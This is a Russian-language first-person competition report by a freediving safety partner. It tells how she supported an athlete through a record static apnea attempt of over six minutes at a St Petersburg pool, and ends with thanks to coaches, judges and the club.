С Южей все немного по-другому — поэтому мы немного договорились заранее, в какие моменты мне нужно брать ее за руку, в какие говорить, в какие отойти. Ну, и, конечно, соревнования такого уровня — пан или пропал. Поэтому я постаралась немного помедитировать после сорокаминутного натягивания гидрика через ушибленную грудную клетку, мотивируя себя классикой: «все будет хорошо, потому что плохо уже надоело», и вышла на бортик совсем спокойной, вручив детям планшет и вид с первого ряда. Разминка пошла немного не так, как планировалось. Южа сильно волновалась, третья попытка вообще не зашла, поэтому внутренне я просчитала попытку на шесть минут.
В Питере нет дна. В плане бассейна — на ноги не встанешь, поэтому страхующие, имеющие мягкую попу, в плюсе: они могут на ней пропрыгать в стартовую зону по бортику, нежно подпинывая своего визави. У кого попы нет, тот крабиком или крокодильчиком шуршит в водице, смотря, чтобы спортсмен не заплыл далеко. В позе кошки с грацией картошки, я проволокла Южу по воде первым методом.
С места мне открывался прекрасный вид на красивые ноги судьи, красивую Кристину Исееву и не менее красивые часы, на которых красиво оказалось, что у нас уже скоро отсчет. Первые четыре минуты мне удалось вволю налюбоваться на все виды, попинывая Южу в бедро, чтобы она не уплывала, а вот дальше началось веселье — я взяла ее за руку, согласно просьбе, и поняла, что подо мной нет опоры. Поэтому время я говорила уже как-то совсем на ухо, а когда отдала вторую руку, наше лежание стало изрядно напоминать вальс (поводов поругаться заранее нашлось, поэтому дрались молча).
Сергей непредсказуемо вышел на 6-04, не отлежав даже тренировочное время, поэтому тут я уже готова была, фокус «встать раньше» бы не прошел. Минуту пришлось рассказывать на ухо про все прелести лежания дальше, мотивируя чем придется: разве что передача сладостей через зайчика не пошла в ход, все-таки лет много. «Южа», говорю я, «подожди, потерпи еще немного, еще не весь бассейн собрался, ща мы приманим пловцов побольше с 16 по 50, и тогда можешь вылезать! Красиво!» ( я вот всегда красиво встаю, в патриотичное бело-сине-красной расцветке, мало кто устоит при таком виде). Краем глаза я вижу, что, действительно, публика собирается на мои восторженные вопли. Муж с фотоаппаратом прибежал, медики оживились, рядом спортсмены уже встали, протокол сделали и тоже смотрят. Неловко как-то. «Без пяти шесть», говорю Юже громко, и тут она под водой внезапно снимает очки и шапку, вырывая у меня руки. Только пузыри пошли. «Все», думаю я. «Первый утопленный чемпион в жизни!», и начинаю мягко, в самых приличных выражениях общаться, мол, не соблагоизволит ли Южнея Михаловна привести себя в вертикальное положение, да протокол выполнить белой рученькой, а не то придется выдержать порицание массовое да хулу народную. В несколько других выражениях, конечно. Южу трясет, но она головой мотает и не встает. Тяну ее за руки — упирается, на бортик поставила, времени 6-20. Тут, конечно, польза разгильдяйства сказалась — на бортик хорошо ставить людей, которые ничегошеньки не знают о цифрах, потому что я была вообще не в курсе, что мы на рекорд идем. «Южа,», говорю я, «Пожалей, детушки малые у меня на бортике сидят, отпусти, Христа ради, обедать хочется, уйти уже из бассейна треклятого».
Тут, конечно, Южа выходит, продолжая смеяться. А я замолкаю, согласно правилам. И за шесть секунд делает протокол. И через уже пятнадцать мы понимаем, что все будет хорошо, мне тоже можно выдохнуть, и судья с Южей смеются, а я роняю скупую слезу, ну так, чтоб никто не видел. И все хорошо заканчивается. И мы на бортике пьем чай, и кое-что покрепче, орехи, например.
Я благодарю тренера, Екатерину Сеничкину и Тимофея Морозова за навыки, коуча Сашу Павлова за наш выезд и решение массы организационных вопросов, Южнею Горелик и Сергея Звонцова за их статику, бассейн «Невская волна», судейскую коллегию и оргкомитет Кубка за соревнования. Также благодарю свой клуб «Монофин» за поддержку!
Автор использованных фото Сергей Звонцов, Даша Музыкантова.
